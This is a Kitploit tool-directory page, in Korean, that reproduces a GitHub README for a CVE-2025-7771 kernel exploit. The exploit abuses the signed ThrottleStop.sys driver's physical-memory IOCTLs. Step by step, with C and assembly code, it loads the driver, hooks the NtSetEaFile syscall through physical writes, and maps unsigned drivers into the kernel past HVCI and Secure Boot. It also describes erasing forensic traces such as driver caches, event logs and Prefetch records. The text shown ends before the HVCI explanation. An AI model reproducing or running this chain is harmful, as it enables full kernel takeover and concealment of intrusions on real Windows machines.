Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-7771-Vulnerability-Exploration — throttlestop 취약점을 이용해 서명되지 않은 드라이버로부터 시스템 권한을 상승 | Kitploit
도구/GitHubGitHub/d4rkks/cve-2025-7771-vulnerability-exploration
Privilege EscalationMemory ForensicsExploitationPost-ExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubd4rkks/cve-2025-7771-vulnerability-exploration

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-7771-Vulnerability-Exploration

throttlestop 취약점을 이용해 서명되지 않은 드라이버로부터 시스템 권한을 상승

저장소 보기
131105개월 전아직 검토되지 않음

🔓 ThrottleStop.sys 커널 익스플로잇 — HVCI 호환 물리 메모리 매퍼

CVE-2025-7771 — ThrottleStop.sys IOCTL을 통한 임의 물리 메모리 읽기/쓰기

⚠️ 면책 조항

이 프로젝트는 교육 및 연구 목적으로만 게시되었습니다. 목표는 서명된 신뢰할 수 있는 커널 드라이버가 Administrator에서 SYSTEM/커널로의 로컬 권한 상승(LPE)을 위해 어떻게 악용될 수 있는지, 그리고 HVCI(Hypervisor-Enforced Code Integrity) 및 Secure Boot를 포함한 최신 Windows 보안 기능을 효과적으로 우회할 수 있는지를 시연하는 것입니다.

악의적인 목적으로 이 도구를 사용하지 마십시오. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.


📋 목차

  • 취약점 요약
  • 영향받는 소프트웨어
  • 기술 분석
    • 취약한 IOCTL
    • 근본 원인
  • 익스플로잇 체인
    • 1단계 — 취약한 드라이버 로드
    • 2단계 — 물리 메모리 프리미티브
    • 3단계 — 시스템콜 페이지 찾기
    • 4단계 — 물리 쓰기를 통한 시스템콜 후킹
    • 5단계 — 임의 커널 코드 실행
    • 6단계 — 포렌식 정리
  • HVCI를 우회하는 이유
  • 영향 평가
  • 빌드 및 사용법
  • 완화 권장 사항
  • 참고 자료

취약점 요약

필드세부 정보
CVECVE-2025-7771
드라이버ThrottleStop.sys (ThrottleStop와 함께 제공)
공급업체TechPowerUp / Kevin Glynn
유형임의 물리 메모리 읽기/쓰기
영향로컬 권한 상승 (Admin → Kernel)
CVSS8.2 (높음)
서명WHQL / 증명(Attestation)을 통한 Microsoft 서명
HVCI 우회✅ 예 — 드라이버가 정식 서명되어 CI 정책에서 허용됨

영향받는 소프트웨어

  • ThrottleStop — 물리 메모리 매핑 IOCTL이 포함된 ThrottleStop.sys를 제공하는 모든 버전
  • Windows 10 1903 – 22H2 (x64)
  • Windows 11 21H2 – 24H2 (x64), HVCI 활성화 빌드 포함
  • 테스트 환경: Secure Boot + HVCI가 활성화된 Windows 11 26100.x (24H2)

기술 분석

취약한 IOCTL

ThrottleStop.sys 커널 드라이버는 모든 로컬 Administrator가 접근할 수 있는 장치(\\.\ThrottleStop)를 노출합니다. 이 드라이버는 무제한 물리 메모리 접근을 제공하는 두 개의 IOCTL을 구현합니다:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

물리 메모리 읽기 (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

드라이버는 요청된 물리 주소를 커널 가상 공간에 매핑하기 위해 MmMapIoSpace()를 호출하고, 데이터를 출력 버퍼로 복사한 다음 MmUnmapIoSpace()를 호출합니다. 물리 주소에 대한 검증이 수행되지 않습니다 — 물리 주소 공간의 모든 주소를 읽을 수 있습니다.

물리 메모리 쓰기 (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

읽기와 동일한 메커니즘이지만, 사용자가 제공한 데이터를 매핑된 물리 주소에 씁니다. 역시 주소 또는 범위 검증이 없습니다.

근본 원인

이 드라이버는 ThrottleStop(CPU 언더볼팅/스로틀링 유틸리티)이 MSR 및 하드웨어 레지스터를 직접 읽고 쓸 수 있도록 설계되었습니다. 물리 메모리 IOCTL은 PCI 구성 공간 또는 CPU 온도 센서에 대한 MMIO 접근을 위해 추가되었을 가능성이 높지만, 구현에는 경계 검사가 전혀 없습니다:

  1. ❌ 물리 주소가 MMIO인지 RAM인지 확인하지 않음
  2. ❌ 주소가 호출자의 의도된 메모리 영역 내에 있는지 확인하지 않음
  3. ❌ GENERIC_READ | GENERIC_WRITE 핸들 접근 요구 외에 ACL 제한이 없음
  4. ❌ 허용된 물리 주소 범위에 대한 허용 목록이 없음

이로 인해 합법적인 하드웨어 유틸리티 드라이버가 완전한 커널 수준 읽기/쓰기 프리미티브로 변모합니다.


익스플로잇 체인

익스플로잇 체인은 로컬 Administrator 계정에서 임의 커널 코드 실행으로 권한을 상승시켜 사실상 SYSTEM 수준의 ring-0 제어를 달성합니다.

1단계 — 취약한 드라이버 로드

매퍼는 ThrottleStop.sys를 %TEMP%에 드롭하고, HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop 아래에 서비스 레지스트리 항목을 만든 다음 NtLoadDriver()를 통해 로드합니다:

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

참고: ThrottleStop.sys는 정식 서명되어 있으므로 HVCI/Secure Boot가 활성화된 상태에서도 로드됩니다. Windows CI 정책은 해당 인증서를 신뢰합니다.

2단계 — 물리 메모리 프리미티브

장치 핸들을 확보한 익스플로잇은 시스템의 모든 물리 주소를 읽고 쓸 수 있습니다:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

익스플로잇은 이를 임의 길이 전송을 위해 호출당 1, 2, 4, 8바이트 청크 읽기/쓰기를 처리하는 헬퍼 함수로 래핑합니다.

3단계 — 시스템콜 페이지 찾기

임의 커널 함수를 실행하기 위해 익스플로잇은 커널 시스템콜 핸들러의 물리 주소를 찾아야 합니다. 거의 모니터링되지 않는 NtSetEaFile 시스템콜을 대상으로 삼습니다:

  1. RVA 확인: LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)를 통해 usermode에서 ntoskrnl.exe를 로드하고 NtSetEaFile의 RVA를 얻습니다
  2. 오프셋 계산: ntoskrnl은 2MB 대형 페이지로 매핑되므로, 함수의 2MB 페이지 내 물리 오프셋 = RVA & 0x1FFFFF
  3. 물리 메모리 스캔: 레지스트리(HARDWARE\RESOURCEMAP\System Resources\Physical Memory)에서 물리 메모리 범위를 열거하고 2MB 단위로 이동하며 바이트를 비교합니다:
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}
  1. 검증: 후킹된 시스템콜을 호출하여 PsGetProcessSectionBaseAddress(current_pid)를 실행하고, 반환된 베이스가 GetModuleHandle(NULL)과 일치하는지 확인합니다.

4단계 — 물리 쓰기를 통한 시스템콜 후킹

NtSetEaFile의 물리 주소를 확인한 후 익스플로잇은 물리 메모리 쓰기를 통해 12바이트 트램펄린을 직접 설치합니다:

; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3
// Install hook
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <target address>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// Trigger from usermode
NtSetEaFile(args...);  // → jumps to target_function in kernel!

// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);

핵심 인사이트: 물리 페이지에 쓰는 것은 HVCI의 가상 메모리 보호를 우회합니다. HVCI는 W+X 가상 페이지를 차단하지만, 드라이버의 MmMapIoSpace를 통한 물리 메모리 쓰기는 RAM으로 직접 전달됩니다.

5단계 — 임의 커널 코드 실행

시스템콜 후킹 프리미티브를 통해 익스플로잇은 임의 인수로 모든 커널 함수를 호출할 수 있습니다:

// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

이를 통해 사실상 서명되지 않은 드라이버를 커널 공간에 매핑하고 실행합니다 — 완전한 권한 상승입니다.

6단계 — 포렌식 정리

페이로드를 로드한 후 익스플로잇은 모든 흔적을 제거합니다:

아티팩트정리 방법
PiDDB 캐시PiDDBLock 잠금을 해제하고, RtlLookupElementGenericTableAvl을 통해 AVL 트리에서 항목을 찾아 연결을 해제하고 삭제
MmUnloadedDrivers50개 항목 순환 버퍼를 스캔하여 일치하는 이름과 항목을 0으로 채움
BigPoolTablePoolBigPageTable에서 할당 VA를 스캔하고 항목을 0으로 채움
풀 헤더POOL_HEADER 태그를 MmSt(일반적인 시스템 태그)로 스푸핑
PE 헤더커널 할당에서 DOS/NT 헤더, 임포트 디렉터리, 디버그 디렉터리, discardable 섹션을 0으로 채움
레지스트리HKLM\...\Services\ThrottleStop 키 트리 삭제
드라이버 파일%TEMP%에서 ThrottleStop.sys 삭제
이벤트 로그시스템 및 보안 로그에서 관련 항목 삭제
Prefetch / BAMShimCache, BAM(Background Activity Moderator) 및 Prefetch 아티팩트 정리

HVCI를 우회하는 이유

도구 다운로드